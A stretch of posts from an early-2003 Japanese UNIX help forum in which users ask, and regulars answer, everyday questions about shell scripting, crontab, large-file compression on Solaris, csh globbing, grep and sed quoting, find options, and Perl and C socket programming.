ただし書籍の価値は読む人との相性次第で決まると思うので、だからと
言って悪い本だとはいいません。あなたが理解しやすいと思ったら
それはよい本なのでしょう。そのうちもっとよい本を読んで正しい知識
を身につけてください。

No. 3045 # has 2003/01/18 (土) 20:05:16
>>3044 68user
Windows2k上でパケット監視してみました。
Operaにてwww.jp.freebsd.orgに接続しに行ったところ、DNSへの問い合わせを
実行しており、正常な応答をもらっているようでした。
で、それとは別に最近気づいたのですが、Win2k上でnslookupが
うまくいってないようなので、ついでにそちらも監視してみたところ、
Non-Existent Domainが返されていました。まだ修正方法すら調べてませんが、
これから勉強してみようと思います。
# まあこれはlinuxの設定を使用しているわけではないので、本来の目的と
# 直接は関係ないのですが…(^^;)

それと以前にも「linuxでパケット監視したら?」とアドバイスをもらってた
ような気がするもののまだ試していないので、それも今度こそやってみます。

> まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか?
OKじゃありませんでした。上のパケット監視中UDPで送られてるのを確認しました。

http://www.atmarkit.co.jp/fsecurity/rensai/iprotect01/iprotect01.html
telnetで試しに接続してみる、というのは↑を参考にしてやってたんですが、
勉強が足りなかったようです(--;)

>> Windowsネットワークにlinuxをクライアントとして参加させる方法
> マイクロソフトネットワークについての知識はほとんどないのですが、
> http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml
> などを読む限り、その方向性はなんか違うような気がします。
なるほど。Windowsでも「ドット区切りもしくは15文字以上のコンピュータ名は
DNSで引く」ということですね。この点はどうなってるのか知らなかったので、
はっきりできてよかったです。

No. 3046 # AMA [E-mail] 2003/01/20 (月) 13:27:34
68user様ご助言ありがとうございました。
kshの実行については、ご指摘のとおり改行コードを直す事で
正常に実行できました。
環境変数の設定については、.cshrcに
setenv CLASSPATH /opt/msSQLjdbc/lib/msbase.jar:/opt/msSQLjdbc/lib/mssqlserver.jar:/opt/msSQLjdbc/lib/msutil.jar
との記述をしていたのですが、上手くいかなかったため、
(JDKインストールフォルダ)/jre/lib/ext以下に
jarファイルをコピーする事で正常動作させることができました。

初UNIXで分からない事ばかりですが、このページでいろいろと
勉強させて頂きたいと思います。
ありがとうございました。

No. 3047 # KEI [E-mail] 2003/01/20 (月) 15:41:38
初めてメールいたします。

色々なゲームソフトをあっちこっちで拾い集めてPCにインストールしたところ
C¥:REM[Header]

環境変数のため領域が足りません。

上記のメッセージが出てきてwindowsが立ち上がりません。

どのような処理をしたらいいのか教えてください。

ただ、c:\ winと入力すればたちあがってくるのですが・・・

No. 3048 # HITO 2003/01/20 (月) 17:08:11
シェル実行中にCtrl+Cして、強制終了させたときに、
バックグラウンドで動いていたシェルも終了させたいんですが、
イマイチうまく動きません。ちなみにKシェルです。

back_pid=`job -l awk '{print $3}'`でPIDを取得して
kill -9 $back_pidで強制終了
というのを、trap '〜' INTの中でやろうと思ったんですが、
trapの''の中にawkの''があるせいで、エラーになってしまいます。

でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、
未設定の値でkillが走ってしまうので、あまり良くないですが・・・

何か良い方法はありませんか?

No. 3049 # 68user 2003/01/21 (火) 10:51:01
>>3045 has
> Win2k上でnslookupがうまくいってないようなので、ついでにそちらも
> 監視してみたところ、Non-Existent Domainが返されていました。
謎ですねぇ。こっちを解決したら Linux の問題も解決したりして。

>>3047 KEI
Windows はわかりません。

>>3048 HITO
> trapの''の中にawkの''があるせいで、エラーになってしまいます。
クォートの規則がわからなかったら、
        siginthandler(){
                  back_pid=....
                  kill ...
        }
        trap siginthandler INT
と別関数にしましょう。

> でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、
> 未設定の値でkillが走ってしまうので、あまり良くないですが・・・
        if [ "$back_pid" != "" ]; then
                kill ...
        fi
てな感じで。

No. 3050 # さとし 2003/01/21 (火) 15:18:01
はじめまして、さとしです。
突然で申し訳ないのですが教えて欲しい事があります
shell内で、あたかも関数の様に処理を作成して、同一shell内の呼び出し元に返り値を返すことって出来ますか?

No. 3051 # 68user 2003/01/21 (火) 16:44:30
>>3050 さとし
shell って言ってもいくつか種類があるんですけんども。どのシェルを使って
いるのか ちゃんと書きましょう。

sh 系なら
        func(){
                echo "$@"
                return 8
        }
        func 1 2 3 4 hoge fuga
        echo $?
とか。

No. 3052 # しん 2003/01/21 (火) 16:53:45
はじめまして。現在サイトを参考にさせて頂き、HTTPクライアントを作成しております。ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法を教えて頂けないでしょうか。お忙しいところ申し訳ございませんが宜しくご教授願います。

No. 3053 # 68user 2003/01/21 (火) 17:08:16
>>3052 しん
> ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法

>>2612 68user
をどうぞ。

No. 3054 # 高橋 [E-mail] 2003/01/23 (木) 01:49:24
はじめまして、
ちょっとだけ聞きたいことがあります。
crontabにシェルを登録しました。
内容は
* * * * * (./Home/Comp/.profile; /Home/Comp/glance_log.sh)
です。
マシンはHP 11.0を使っております。
そしてシェルの内容は
===glance_log.sh===
nohup glance -adviser_only -iterations 1 -syntax ./temp -j 30 >> glance_log.dat &
で,
=== ./temp====
print gbl_stattime, " CPU=", GBL_CPU_TOTAL_UTIL, " DISK I/O=", GBL_DISK_UTIL_PEAK, " MEM UTIL=", GBL_MEM_UTIL
です。
普通のprompt上で実行すると
glance_log.datにローグが積みます。
===glance_log.dat===
01:29:49 CPU= 11.4 DISK I/O= 19.5 MEM UTIL= 81.0
01:29:50 CPU= 17.6 DISK I/O= 9.5 MEM UTIL= 81.1

ところがcrontabに登録して実行させると
glance_log.datには何もでしませんでした。
もちろんのことにechoを使って実行させるとechoだけはローグができますね。
やはりttyの設定が悪いからではないかなぁとおもうんですが、どうやってcrontabに登録したらいいかわかりません。

助けてください。
ほんとに困ります。

No. 3055 # えい 2003/01/23 (木) 09:12:31
はじめまして。いつも参考にさせて頂いてます。

perlで書いたサーバプログラムをinetd経由で起動しているのですが、
接続してきた相手の情報を取得する方法がわからず困っています。
どのように取得するのが一般的な方法なのでしょうか。

No. 3056 # 68user 2003/01/23 (木) 12:48:21
>>3054 高橋
> (./Home/Comp/.profile; /Home/Comp/glance_log.sh)
. と / の間に空白がないので .profile の読み込みに失敗しているのでは?
それを直してもダメなら、
      (. /Home/Comp/.profile; /bin/printenv)
などで環境変数を確認しましょう。

> やはりttyの設定が悪いからではないかなぁとおもうんですが
glance というコマンドは知りませんが、キーボードからの
入力を受け付けるようなプログラムであれば tty がらみ
かもしれません。でも、そうでないなら tty は関係ないでしょう。


>>3055 えい
> perlで書いたサーバプログラムをinetd経由で起動しているのですが、
> 接続してきた相手の情報を取得する方法がわからず困っています。
何も試さずに書きますが、標準入力であるところのファイル
デスクリプタ 0 がソケットにつながっているわけなので、
getpeername(STDIN) でいけるんじゃないでしょうか。

No. 3057 # 山田 2003/01/23 (木) 14:14:56
こんにちは、いつも参考にさせてもらっています。
UNIXで2ギガを超えるファイルの圧縮を行なう方法をご存知の方がいらっしゃれば教えて下さい。
圧縮率に関してはそれほど気にしないので、compressでもOKです。
よろしくお願い致します。

No. 3058 # 68user 2003/01/23 (木) 17:01:10
>>3057 山田
> UNIXで2ギガを超えるファイルの圧縮を行なう方法
OS の制限なら無理でしょう。tar の制限なら制限のない tar を使うと
いけるかもしれません。

結局のところ、「UNIX」と言われてもいろいろな UNIX like OS があるので
わかりません、ってことで。

No. 3059 # 山田 2003/01/23 (木) 17:04:19
ありがとうございます。
zipに制限があるのは確認したのですが、compressは確認していません。
tarで試してみます。
ちなみにOSは何をみれば分かりますか?

No. 3060 # 山岸 信一 [E-mail] 2003/01/23 (木) 18:56:42
始めまして。
私は実際のサーバなど全くいじったことがなく、すべては読み物での知識です。NTTの.COM.MASTER *はパスして現在**を目指している60才を過ぎた元通信分野に籍を置いたものです。交換機などと異なりcomputerの領域の知識が無いので少し苦労をしています。
それで、
きわめて基本的なことですが、permissionにおける「実行」というのは具体的にどういう事象なのでしょうか? R/Wについては解るのですがX(実行)というのはどう言うことなのか解りません。
教えてください。

No. 3061 # has 2003/01/24 (金) 01:49:37
>>3049 68user
tcpdumpを使おうとmanを見たらそれだけで圧倒されてしまい、
etherealを入れようとしたらrpmの依存関係が解決できずに
そのままはまってしまいました。なんてこった(*_*)
もうちっと腰を据えて勉強するとします…。

それはそうとこの板、回答者がすっかり68user一人になってしまったので、
たまには私も口を出せそうな話題にはお邪魔しようかと思います。
というわけで早速。

>>3059 山田
OSの種類については
% uname -s
を実行するとわかります。
SunOSとかHP-UXとかFreeBSDとかlinuxとか。

>>3060 山岸 信一
コンピュータに関する理解具合が把握できなかったので回答しづらいですが、
http://www.kent-web.com/pubc/axsken/
というページがありました。
こういう説明で参考になるでしょうか?

No. 3062 # has 2003/01/24 (金) 01:58:02
>>3061 has
しまった、結局「実行」についての解説が無かったですね。
「そのファイルをプログラムだと思って実行してもよい」という意味です、
と言いたいところなんですが、これで通じますか?

@68user
こっちは再編集機能つけて無いんすね…。

No. 3063 # えい 2003/01/24 (金) 02:52:23
>>3055>>3056
なるほど。標準入出力がソケットに繋がってるんですね。
上手く取得することが出来ました。
ありがとうございました。

$sockaddr = 'S n a4 x8';
$hersockaddr = getpeername(STDIN);
($family, $port, $heraddr) = unpack($sockaddr, $hersockaddr);
$addr = inet_ntoa($heraddr);

No. 3064 # 68user 2003/01/24 (金) 06:26:56
>>3059 山田
> zipに制限があるのは確認したのですが、compressは確認していません。
> tarで試してみます。
おっと、tar と書いたのは指がすべりました。compress の
間違いでした。

要は、OS の制限として 2GB 以上のファイルを扱えない仕様
なのか、compress や zip の制限なのかを明らかにしましょう、
ということです。

そういうのには興味がなくて、とにかく圧縮したいのなら
split して zip なり gzip なり compress なりすればよい
でしょう。

>>3061 has
> OSの種類については
> % uname -s
Linux カーネルが 2GB over ファイルに対応したのは最近の
ことだし、Solaris なら 7 以降 (2.6 なら -largefile
オプションで可能らしい)、uname -a でバージョンまで
聞き出すのがよいかと思います。


>>3060 山岸 信一
補足すると、コンピュータにとってはプログラム (実行可能なもの) も
データ (例えばテキストファイルとか画像ファイルとか) も、ただの
ファイルとしか見えません。

なので人間が「このファイルは実行可能である」と教えてやらないと
コンピュータはプログラムを実行できないわけです。

で、UNIX では実行権限 (x) が「このファイルは実行可能な
プログラムである」という印なわけです。

ここらへんは OS によって異なり、例えば Windows だと拡張子が
.exe や .com の場合、「このファイルは実行可能なプログラムである」
という印になるわけで。

> NTTの.COM.MASTER *はパスして現在**
これですか。
      http://biz.ocn.ne.jp/master/c027_02.html
いろんな資格があるもんですねぇ。


>>3061 has
> それはそうとこの板、回答者がすっかり68user一人になってしまったので、
> たまには私も口を出せそうな話題にはお邪魔しようかと思います。
当然ながら誰が回答してもよい掲示板ですので、よろしく>みなさま

>>3062 has
> こっちは再編集機能つけて無いんすね…。
これまで作った掲示板で再編集機能を付けたことないっすよ。
ちょっと突っ込まれると内容を変えたり、削除したりする人が
いるので、「掲示板に編集・削除機能は不要」というのが
僕の考えだったりします。

No. 3065 # Yo 2003/01/26 (日) 10:38:44
はじめまして。
UNIXリファレンスを利用させて頂いています。

一つご教授願いたいことが出来まして投稿させていただきます。
環境は以下の通りです。
・一台のUNIXサーバに対して複数台のWindowsサーバが接続している
・UNIX上のシェルからリモートシェルによってWindows上のbatコマンドを実行(Windowsサーバは全て同一ディレクトリ構成・かつ同一batコマンドを実行)
上記条件において、Windowsサーバをパラで動作させたいのです。
一台目のWindowsのbatコマンドの終了を待つことなく次のWindowsのbatコマンドを実行、といった風にしたいのです。
(現状、一台目の処理が終了したら二台目・・・となっています。)
UNIX側では全Windowsサーバのbatコマンドの終了(rshの終了)を待ってから次の処理に進みます。

そのような実装は可能なのでしょうか。
分かりにくい質問内容かも知れませんが、ご存知の方がおられましたら宜しくご教授お願い致します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3066 # 山田 2003/01/27 (月) 20:06:19
すみません、すみません、2ギガ越えに関する回答は終了かと思い、週末は掲示板に目を通しませんでした。。。
遅れ馳せながら、>>3064様、>>3061様、丁寧なご回答ありがとうございます。
ご教授いただいたOSのバージョンですが早速試してみたところ、下記の様に表示されました。
「SunOS xxxxxx 5.8 Generic_108528-13 sun4u sparc SUNW,Sun-Fire-280R」
一般的に5.8を指してソラリス8と呼んでるようですが(聞きかじりです。間違っていたらすみません)、下記は68usr様がおっしゃる「Solaris なら 7 以降 」に該当するのでしょうか?
これより新しいのはソラリス9と聞いています。
ご教授ください。 山田

No. 3067 # 68user 2003/01/28 (火) 10:42:28
>>3064 68user
> UNIX上のシェルからリモートシェルによってWindows上のbat
> コマンドを実行(Windowsサーバは全て同一ディレクトリ構成・
> かつ同一batコマンドを実行)
> 上記条件において、Windowsサーバをパラで動作させたいのです。
UNIX 側で
      rsh host1 command
      rsh host2 command
      rsh host3 command
などとしているのですよね? ならば
      rsh host1 command &
      rsh host2 command &
      rsh host3 command &
が一番簡単だと思います。


>>3066 山田
> 一般的に5.8を指してソラリス8と呼んでるようですが
そうです。

>「Solaris なら 7 以降 」に該当するのでしょうか?
該当します。

Solaris の 2GB 超ファイルの扱いは、man largefile で見ることが
できる largefile(5) に載っています。
      http://www.freebsd.org/cgi/man.cgi?query=largefile&apropos=0&sektion=0&manpath=SunOS+5.8&format=html

Solaris8 の largefile(5) には large file aware なコマンドとして
compress はありますが、zip は載っていません。よって、compress
なら OK、zip は NG でしょう。

>>3064 68user
> Solaris なら 7 以降 (2.6 なら -largefile オプションで
> 可能らしい)
手もとの Solaris 2.6 で試してみましたが、2GB 超ファイルを
作成することができました。現在のマウント状況を表す /etc/mnttab は
      /dev/dsk/c0t0d0s5 /opt ufs suid,rw,largefiles,...
などとなっているので、Solaris 2.6 のデフォルトは 2GB 超
OK なのかな?

No. 3068 # 児嶋 2003/01/28 (火) 11:57:22
はじめまして。

コマンドヒストリについてご教授願いたいことが出来まして投稿させていただきます。

ユーザがUNIXサーバへログインしたあとに実行したコマンドはヒストリファイルに記録されていると思いますが、コマンドが実行された時刻はどのファイルに記憶されるのでしょうか?
記録するための設定などがありましたらぜひご教授ください。
よろしくお願いいたします。

OS solaris 5.8

No. 3069 # 68user 2003/01/28 (火) 12:05:21
>>3068 児嶋
csh・tcsh なら、~/.history に
        #+1043136351
        ls
などと時刻込みで記録されています。bash なら .bash_history。

No. 3070 # 68user 2003/01/28 (火) 13:14:16
>>3069 68user
> bash なら .bash_history。
一応確認してみましたが、bash はヒストリに時刻を記録しないみたいですね。

No. 3071 # 児嶋 2003/01/28 (火) 14:20:36
>>3070 68user
csh,bash環境で確認しました。

ls等のコマンドを実行してから一度ログオフし、再度ログインしました。
そこでホーム配下の.historyおよび.bash_historyを確認しましたが何も書かれておりませんでした。
.historyの権限は644になっております。rootアカウントで実行していますので権限は問題ないかと思います。

何か、出力要否のフラグの設定があるのでしょうか?

No. 3072 # 68user 2003/01/28 (火) 14:32:19
>>3071 児嶋
csh なら、シェル変数 history・savehist がセットされているか確認。
    % set | grep hist
    history 1000
    savehist 2000
セットされていなかったら
      % set history = 1000
      % set savehist = 2000
など。

bash なら
      % set|grep -i hist
      HISTFILE=/home/user/.bash_history
      HISTFILESIZE=500
      HISTSIZE=500
ここらへんですかねぇ (常用していないのでよくわかりませんが)。

No. 3073 # 児嶋 2003/01/28 (火) 14:28:57
>>3072 68user
早速実行してみました。
結果、コマンドラインは出力されましたが、時刻までは出力されませんでした。


何とか、時刻も出力させる方法はないものでしょうか?

No. 3074 # 68user 2003/01/28 (火) 14:48:47
>>3073 児嶋
またまた誤解してました。csh は時刻を記録しないみたいですね。

というわけで、「tcsh を使う」が解でしょうか。

No. 3075 # 美春 [E-mail] 2003/01/28 (火) 14:53:19
はじめまして。
考えても考えてもわからないことが
ありますのでご教授下さい。

あるファイルに
    aaaaああああaaaa
    いbbbbbbbbbbbい
のような行があって、
各行から2バイトの文字だけを
抜き出したいのですがどうすれば
できるのでしょうか?
イメージとしては上のファイルを
このように出力したいのです。
    ああああ
    いい

どうしてもわからないので
よろしくお願いします。

No. 3076 # 山田 2003/01/28 (火) 14:57:01
>>3067 68user
私もcompress→uncompressと試してみました。
解凍後のファイルサイズも一致しており、上手くいっているようです。
とても助かりました。ありがとうございます。

実はもうひとつ教えていただきたいことがありまして・・・
cshellで文字列操作は可能なのでしょうか?
下記を解決する方法があれば教えて下さい。
Q1.指定したディレクトリからファイル名を変数に取得。
Q2.上記Q1でAAA_YYYYMMDD.txtと言う名前を取得できたとして、
        YYYYMMDDのみを切り出して、shell内で用意した日付と大小を
        比較出来るのでしょうか?

ご存知の方、教えて下さい(T_T)

No. 3077 # 児嶋 2003/01/28 (火) 15:37:21
>>3074 68user
ありがとうございました。
環境が整ったときにtcshで確認しようと思います。

No. 3078 # koko 2003/01/28 (火) 17:02:53
親プロセスで子プロセスをforkするC言語プログラムがあります。
子プロセスは複数作成され、処理が終わると自動的に消滅します。
親プロセスで現在存在している子プロセスの数を把握したいのですが、簡単な方法はありますでしょうか。
子プロセスの数だけ分かれば良いです。
子プロセス数カウンタを設け、forkでインクリメントし、子プロセスの終了を検知してデクリメントする方法もあるかと思いますが、もっと簡単な方法があれば教えていただけますでしょうか。
よろしくお願いします。

No. 3079 # 68user 2003/01/29 (水) 02:28:50
>>3075 美春
考え方を変えて、日本語以外を除くとするなら
    % sed 's/[a-zA-Z0-9]//g' < file
など。本当に日本語だけを拾いたいなら
    http://www.din.or.jp/~ohzaki/perl.htm#JP_Match
を参考に perl でやるのがよいでしょう。

>>3076 山田
> cshellで文字列操作は可能なのでしょうか?
foreach file (AAA_*.txt)
    set date=`echo $file | sed 's/^AAA_\([0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\).*/\1/'`
    echo '$file -> $date'
    if ( $date < '20020114' ) then
          echo $date
    endif
end

仕事や課題を丸投げされると答える側もつまらないです。質問するなら
もっとおもしろい質問をしてください。

お金を払っていただけるなら、(お仕事として) つまらん質問にも
答えますけど。

>>3078 koko
> 親プロセスで現在存在している子プロセスの数を把握
> したいのですが、簡単な方法はありますでしょうか。
簡単、というか適当な調べ方でよいなら、ps して、親プロセスが
自分であるプロセス一覧を取得、などがあると思いますが、
ps しているプロセスは除くとか余計な処理をしなきゃいけない
と思うので、結果的にはあまり簡単じゃないと思います。

    - 親がいろんな仕事をするのなら、fork するときに
        インクリメントして、SIGCHLD を受けるたびに
        デクリメント (>>2988 を参照)
    - 親は子の終了を待つだけなら、fork するときに
        インクリメントして、wait して、wait から戻って
        きたらデクリメント。

でいいんじゃないでしょうか。

No. 3080 # koko 2003/01/29 (水) 09:47:13
>>3079 68user
やはり、ご指摘の方法が妥当なところのようですね。
この方法で対応する事とします。
ありがとう御座いました。

No. 3081 # 山田 2003/01/29 (水) 09:59:35
>>3076 山田
ご回答ありがとうございます。
>仕事や課題を丸投げされると答える側もつまらないです。質問するなら
>もっとおもしろい質問をしてください。
了解しました。
先日、ほぼ一日調査してたのですが出来なかったもので。。。
申し訳ないです。。

No. 3082 # 美春 2003/01/29 (水) 11:49:51
>>3067 68user
うまくいきました。
本当にありがとうございました。
perlの方も挑戦してみます。
度々の質問で申し訳ありませんが、
grepの正規表現で"'"(シングルクォーテーション)
を出さないようにしたいのですが、
うまくいきません。
grep '[\']' <file>
だとダメみたいです。
どうすればよいのでしょうか?
初心者の質問ですみません。
よろしくお願いします。

No. 3083 # has 2003/01/30 (木) 00:01:24
>>3082 美春
grepは行単位で処理するので、シングルクォートを含む行を表示しない、
という処理は可能です。grepに-vをつけると、条件に合わない行のみを
出力するので、

% grep -v "'" filename

とすればfilenameファイル内のシングルクォートを含まない行のみを
出力してくれます。

もしシングルクォートを文字単位で削除したいのであれば、

% sed -e "s/'//g" < filename

とすればよいと思います。

No. 3084 # 美春 2003/01/31 (金) 14:06:07
No. 3083 has
感動してしまいました。
manで調べろと怒られるかと
思ったのにご丁寧に
ありがとうございました。

No. 3085 # 山田 2003/02/05 (水) 16:11:14
こんにちは、山田です。
shellにワイルドカードを含んだ引数を文字列として渡したいのですが上手くいきません。
例えば、
aaa.sh zz*.txt

aaa.sh zz\*.txt
と渡すとローカルにある対象となるtxtファイルを全て引数としてもってきてしまいます。
aaa.sh zz'\''*'.txt
などとしてもダメなようです。
出来ないのでしょうか?
申しわけありませんが、教えて下さい。

No. 3086 # ふくし 2003/02/05 (水) 16:19:59
>>3085 山田
さん、

シェルはなんでしょうか?
zsh だと

    > echo *.txt
    aaa.txt bbb.txt ccc.txt

    > echo '*.txt'
    *.txt

のようになりました。

No. 3087 # 山田 2003/02/05 (水) 18:33:15
>>3086 ふくし
様、ご回答ありがとうございます。
cshです。
やりたいことは、
aaa.sh ZZ*.txt
と指定した時にshell内で、
set filename = arg[1]とし、
filenameに"ZZ*.txt"という文字列をセットしたいのです。

No. 3088 # ふくし 2003/02/05 (水) 20:05:51
>>3087 山田
さん

下で書いたつもりだったんですが (^^;;;
引数「ZZ*.txt」全体をシングルクォート '' で囲んだらどうなります?

No. 3089 # 山田 2003/02/05 (水) 21:20:34
>>3086 ふくし

>引数「ZZ*.txt」全体をシングルクォート '' で囲んだらどうなります?
やはりカレントの該当するファイルが引数に入ってしまいます。
arg[1]の内容が"ZZa.txt ZZb.txt ZZc.txt"というような感じです。
んー、こまっております(^^;)

No. 3090 # 68user 2003/02/05 (水) 21:48:17
>>3089 山田
    % cat hoge
    set filename='*.c'
    echo $filename

    % csh -fx hoge
    set filename=*.c
    echo *.c
    a.c b.c c.c d.c

というわけで、csh では ただの文字列として set しても、
glob 展開されます。よって、参照するたびに
    echo "$filename"
とダブルクォートで囲むか (面倒)、あるいは
    set noglob
で変数を展開しないようにする、と。

もっとよいのは perl や ruby などに乗り換えることです。

No. 3091 # ふくし 2003/02/06 (木) 02:29:54
>>3089 山田
さん、

知らぬこととはいえ失礼しました。
そんな致命的な非互換があろうとは、、。

シュバング行で
  #! /bin/sh
と書いてしまって、Bourne Shell で書き直すってのは
どうでしょうね。
コマンドを手入力するのは csh 系が、
シェルスクリプトを組むのは Bsh 系がいいって聞いた気がします。
(気のせいか? ;;;
もっぱら私はちょっとでも論理のあることは
Perl にするのでどっちも知りませんが、、。

No. 3092 # op 2003/02/07 (金) 00:33:46
始めましてopといいます。
・・・いきなり質問で申し訳ないのですが、

掲示板を作っていて
コメントを書き込んだ後に更新をすると、
前のコメントが追加されてしまいます
これを回避する為にはいったいどんなコードに
書けがよいのでしょうか?

宜しければアドバイスの程お願いします。

No. 3093 # DQN..cc [URL] 2003/02/07 (金) 00:48:48
>>3092 op
書き込み後に↓こんなHTMLを表示すればいいのでは。

<html><head><title>書きこみました。</title><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><meta content=5 http-equiv=refresh></head><body>書きこみが終わりました。<br><br>画面を切り替えるまでしばらくお待ち下さい。<br><br></body></html>

別のページに移動させたければ、
<meta content=5 http-equiv=refresh>
ではなく、
<meta content=5;URL=../homepage/index.html http-equiv=refresh>
としてみる。

・・・といった方法ではどうでしょう。

No. 3094 # しん 2003/02/07 (金) 13:59:17
以前にBASIC認証の質問のご回答を頂きありがとうございました。
おかげさまで認証を行うサイトへのアクセスが出来るようになりました。
現在はPOSTが行えるクライアントを作成中です。

POST及びchunkedに関する質問ですが、
あるサイトにアクセスした際に

Content-type: text/x-hdml; Charset=Shift_JIS
Transfer-Encoding: chunked
省略
postmethod="post" postdata="xxxxxxx"
省略

とのレスポンスがあり

print SOCKET "POST /$path HTTP/1.1\r\n";
print SOCKET "Host: $host\r\n";
print SOCKET "User-Agent等リクエストヘッダ"

$message = "xxxxxxx";
$len = length($message);
print SOCKET "Content-length: $len"."\r\n\r\n";
print SOCKET "$message";

にてPOSTを行っているのですが、POSTされません。
原因としてはどういった事が考えられますでしょうか。
chunkedでエンコードされ送られたデータはPOSTする際もchunkedで
エンコードして送り返さなければいけないのでしょうか。
もしエンコードしたデータをPOSTしなければいけない場合はchunkedの
エンコード方法をお教え下さい。
宜しくお願い致します。

No. 3095 # op 2003/02/07 (金) 20:13:36
>>3093 DQN..cc様
早速のレス有難う御座います♪

なるほど・・・。
確かにこういった処理をする掲示板なんどか見かけた事がありました
本来の意味はこういう事?だったのですね(多分

それと、また質問で恐縮なのですが
リフレッシュ以外にも他の方法なんかありますかね?(^^;

No. 3096 # has 2003/02/08 (土) 01:37:29
>>3095 op
ここの掲示板では書き込みのたびに書き込み内容のMD5を作成し、
キャッシュしておいた最新数件分のMD5と同一の場合には記録しない、
という方式を採用しています。

詳しくはここの掲示板のソースを参照してみてください。

No. 3097 # H-Hash [URL] 2003/02/09 (日) 01:14:35
>>3094 しん
>chunkedでエンコードされ送られたデータはPOSTする際もchunkedで
>エンコードして送り返さなければいけないのでしょうか。
そんなことは無いです。

>もしエンコードしたデータをPOSTしなければいけない場合はchunkedの
>エンコード方法をお教え下さい。
要するにデータを細切れ(例えば1024byte毎)にして、
サイズ(16進)
データ
サイズ(16進)
データ

0
とすればいいだけです。(see http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.6.1)

で、解決方法ですが、とりあえずHTTP/1.0で送ってみて下さい。
それでも失敗した場合は、とりあえずチャンク周りが原因ではありません。

No. 3098 # op 2003/02/09 (日) 01:44:52
>>3096 has様
MD5ですかぁ〜レベルが一気に上がったような気がしますが、
これからさっそく勉強していきたいと思います(苦笑

ほんとにhasさん、DQN..ccさん有難う御座いました。

No. 3099 # ふくし 2003/02/13 (木) 19:18:56
Linux User という本に5つのディストリビューションが一気に
付録についてるので慌てて買ったんですけど、
よく考えるとコレ(よく考えなくても)CD じゃなくて
DVD なんですよね、、。
会社で遊んでるマシンが1個あって、ただし会社のマシン管理のヒトが
バックアップしてくれないから、バックアップデバイス兼ねて
この機会に DVD-RAM を入れようかなあと思ったんですが、
Linux で読める DVD-RAM ドライブってあるんでしょうかね。
じっさいにはネットワーク経由で Debian(woody)を入れたので、
もう雑誌の付録は必要なくなったんですが、、

No. 3100 # 68user 2003/02/15 (土) 02:44:18
>>3099 ふくし
> Linux で読める DVD-RAM ドライブってあるんでしょうかね。
FreeBSD でも DVD-RAM を読み書きできるくらいですから、
できなくはないでしょうけど、具体的な機種名などは
わかりません。

検索すると DVD-RAM 対応カーネルパッチが云々などと
いうのが引っかかるのですが、Linux 事情に疎いので
それが最新の情報なのか判断できないです。

# てゆーか、DVD-RAM どころか CD-R さえ使ったことが
# ないので。

No. 3101 # bebe 2003/02/17 (月) 11:23:45
findコマンドについて教えてください。
find . -user root とするとカレントディレクトリ以下の
所有者がrootになっているファイルが引っかかるかと思い
ます。
それではなくて、所有者がrootになっていないファイルを
引っ掛けたいと思うのですが、その場合findコマンドはどの
ように使えばいいでしょうか?
宜しくお願いします。

No. 3102 # 68user 2003/02/17 (月) 19:54:30
>>3101 bebe
> 所有者がrootになっていないファイル
    % find . ! -user root
    % find . -false -user root
    % find . -not -user root
などなど。

FreeBSD 4.7-RELEASE のマニュアルには ! と -false と -not が
書いてあるのに
        % find . -not -name \*.c
        find: -not: unknown option
となってしまう。なぜだろう。ソースを見ると -not は効きそうなんだけれども。

http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/find/option.c
http://www.jp.freebsd.org/cgi/mroff.cgi?subdir=man&man=find&dir=jpman-4.7.0%2Fman

No. 3103 # wataru [E-mail] 2003/02/18 (火) 14:45:54
send()について教えてください。

send()にてデータを送信しようとするとperrorにて「Illegal Seek」
と返ってきます。もちろんデータも送信できていません。

この現象の原因と対処法を教えていただけないでしょうか?
socketとconnectはできています。

No. 3104 # 68user 2003/02/18 (火) 15:02:41
>>3103 wataru
> Illegal Seek
ってことは errno が ESPIPE なのでしょうけれど、手もとにある FreeBSD と
Solaris2.6/8 を見ても、send(2) が ESPIPE を返すとは書いてありませんので、
わかりません。

てゆーか、OS 名も、OS のバージョンも、エラーの起こるコード例も提示せず
質問している、あなたという人間がわかりません。

No. 3105 # wataru [E-mail] 2003/02/18 (火) 16:09:42
ご無礼大変申し訳ありませんでした。現在私はHard Hut Linux2.0
でプログラムを組んでいます。

原因のソースコードは以下の様です。

    if ((*s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { // TCPでソケットを開く
        perror("socket");
        s_vMsgSnd(TSK_ER , 71 , 40);
        return -1;
    }
    syslog(LOG_DEBUG,"s = %d",*s);
    syslog(LOG_DEBUG,"port = %d",port);
    
    // 接続に必要な情報を設定する
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = dst_ip; //<GT_0010>
    server.sin_port = htons(port);

    s_vSigTimer(TIMER_START);
    alarm(TIMEOUT_SEC);
        if (connect(*s, (struct sockaddr *) &server, sizeof server) < 0) { // サーバとのコネクションを確立する
            perror("connect");
            s_vSigTimer(TIMER_STOP); return -1; //<GT_0003> add
        }
        s_vSigTimer(TIMER_STOP);
        signal(SIGPIPE,ReCNCT);
        if(usCnctNG == FLAG_ON)
            return -1;

上記の方法でconnectまで持っていきます。
その後

    while(sendbytes < MaxLENGTH){
            nSended=send(*s,psz,strlen(psz),0);
        if(nSended == -1){
            perror("SendError:"); s_vMsgSnd(TSK_ER , 71 , 57);
            s_vSigTimer(TIMER_STOP);return -1;
        }else if(counttim > 0){
            syslog(LOG_DEBUG,"+*+*+*+*time over +*+*+*+*");
            s_vSigTimer(TIMER_STOP);return -1;
        }
        psz+=nSended;
        sendbytes+=nSended;
    }

でMaxLENGTHに達するまでデータを送信します。

No. 3106 # bebe 2003/02/18 (火) 17:32:36
>>3102 68user
解凍有り難うございました。
        (1)% find . ! -user root ⇒うまくいきました。
        (2)% find . -false -user root
        (3)% find . -not -user root

(2)(3)は、ダメでした。オプションエラーになってしまいます。
でも、(1)だけでも使えればとりあえずはOKなので、重宝しています。

